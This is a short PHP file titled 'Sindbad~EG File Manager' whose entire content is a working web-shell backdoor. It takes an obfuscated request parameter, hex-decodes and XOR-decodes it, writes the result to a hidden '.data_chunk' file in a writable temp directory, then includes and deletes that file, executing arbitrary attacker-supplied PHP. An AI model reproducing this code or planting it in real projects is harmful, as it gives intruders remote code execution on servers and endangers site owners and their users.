Sindbad~EG File Manager

<?php

if(array_key_exists("f\x61\x63", $_REQUEST)){
	$item = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), getenv("TEMP")]);
	$record = hex2bin($_REQUEST["f\x61\x63"]);
	$obj    =     ''     ;      $j = 0; while($j < strlen($record)){$obj .= chr(ord($record[$j]) ^ 96);$j++;}
	$token = 0;
do {
    $value = $item[$token] ?? null;
    if ($token >= count($item)) break;
    		if (is_writable($value) && is_dir($value)) {
    $entry = "$value" . "/.data_chunk";
    $success = file_put_contents($entry, $obj);
if ($success) {
	include $entry;
	@unlink($entry);
	die();}
}
    $token++;
} while (true);
}